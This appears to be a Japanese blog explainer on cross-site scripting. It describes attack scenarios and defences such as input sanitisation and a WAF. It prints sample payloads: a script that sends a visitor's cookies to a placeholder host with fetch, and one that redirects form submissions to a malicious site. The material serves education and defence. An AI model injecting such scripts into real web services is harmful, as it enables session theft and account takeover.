クロスサイトスクリプティング(XSS)とは?

エクスプロイト

クロスサイトスクリプティング(XSS)とは?

クロスサイトスクリプティング(XSS)とはWebサービスの脆弱性を利用した攻撃です。

具体的には、入力フォーム等から悪意あるコードを入力・保存し、第三者のブラウザで保存した悪意のあるコードを実行することで、個人情報の漏洩やマルウェア感染などといった被害が発生するサイバー攻撃になります。

例えば下記コードは利用者のCookie情報を盗む、代表的なクロスサイトスクリプティング攻撃の例になります。

<script>
    // ユーザーのクッキーを外部のサーバーに送信する
    const url = 'https://example.com/steal-cookie';
    const cookies = document.cookie;
    const params = `?cookie=${encodeURIComponent(cookies)}`;
    fetch(url + params);
</script>

このようなコードをSNSの自分のプロフィールの紹介文に入力することで、自分のプロフィール情報を見に来たユーザーのクッキー情報を盗んだりすることが挙げられます。

会員登録やアンケート・SNSなどといった、他の人が入力した内容を閲覧できるWebサービスの場合、Webサービス開発者が対策しなければ簡単に実行できるサイバー攻撃のため、件数も多く、代表的なサイバー攻撃の一つと言えます。

クロスサイトスクリプティングの例3つ

上記説明だけだとなかなか想像しづらいため、ここではクロスサイトスクリプティングの例を3つ紹介したいと思います。

例① コメント欄にスクリプトを埋め込み、悪意あるサイトへ誘導する

一つ目はコメント欄に不正なJavascriptコードを埋め込み、実行させることでデマ情報を記載したポップアップの表示や、悪意のあるサイトにリダイレクトさせるものです。

コードで書くとこんなところですかね

<script>
document.addEventListener('DOMContentLoaded', function() {
    var form = document.querySelector('form');
    form.onsubmit = function(event) {
        event.preventDefault(); // 送信をキャンセル
        window.location.href = 'https://悪意のあるサイト.com';
    };
});
</script>

別サイトにリダイレクトされるだけでなく、実行するとマルウェアに感染するexeファイルをダウンロードさせたりすることも可能だと思います。

例② SNSのプロフィールにスクリプトを埋め込み、フォロワーを爆発的に増やす

これは実際にあった有名なクロスサイトスクリプティングを使って事件になります。

友達機能のあるSNSの自分のプロフィールに悪意あるスクリプトを埋め込み、そのアカウントのプロフィールを閲覧した人が悪意のあるコードを実行してしまうという事件が発生しました。

この時の悪意のあるコードは「攻撃者のアカウントをフォローし、かつ同じスクリプトを攻撃を受けたユーザーのプロフィールにも埋め込む」というものでした。

この攻撃で攻撃者は一気にアカウントのフォロワー数を伸ばすことに成功したそうです。

例③ メール本文にスクリプトを埋め込み、認証トークンを取得する

メール本文にJavascriptコードを埋め込み、そのメールをブラウザで開いた際にコードが実行されるというものになります。

クッキーの中にはメールサービスによりますが、認証トークン・セッションIDなど重要なデータが含まれていることが多いです。

この攻撃を行うことで、知らず知らずの間にそれらの機密情報が攻撃者に送信され、攻撃者は受け取った認証情報を使うことで、そのユーザーになりすましてメールの送信等を行うことができるといった攻撃になります。

攻撃者は取得したメールアドレスを用いてまた別の攻撃等を行うこともあり、知らない間に自分が大きな事件に巻き込まれるなんてこともありそうです。

あやしいメールは開かないようにしましょう。特に添付ファイルについてはマルウェア等の他の攻撃でもよく使われる手口なので、気をつけるようにしないといけませんね。

クロスサイトスクリプティング(XSS)の対策について

それでは次にクロスサイトスクリプティング攻撃の対策についてみていきましょう。

①入力データをサニタイズする

クロスサイトスクリプティングで最も重要な対策がサニタイズすることです。

サニタイズとは脆弱性に繋がるような文字を別の文字に置き換えることです。具体的には「<」や「>」などJavascriptなどのコードを書くに必須な文字列を別の文字列に置き換えることで、攻撃者が書いたスクリプトを無害化することができます。

サニタイズはクロスサイトスクリプティングの抜本的な対策と言われています。そのため各プログラミング言語ごとに様々なライブラリが存在するので、クロスサイトスクリプティングの対象になるような機能があるWebシステムを構築する場合、必ず対策をするようにしましょう。

②WAFを導入する

WAFはWebアプリケーションへの攻撃を防ぐソフトウェアのことです。導入することでクロスサイトスクリプティングに限らず、SQLインジェクション等の様々な攻撃から攻撃を守ってくれます。

とはいえ100%守ってくれる訳ではありませんし、WAFを入れているからと言って安心するのではなく、サニタイズ等の対策も怠らないようにしましょう。

コメント

タイトルとURLをコピーしました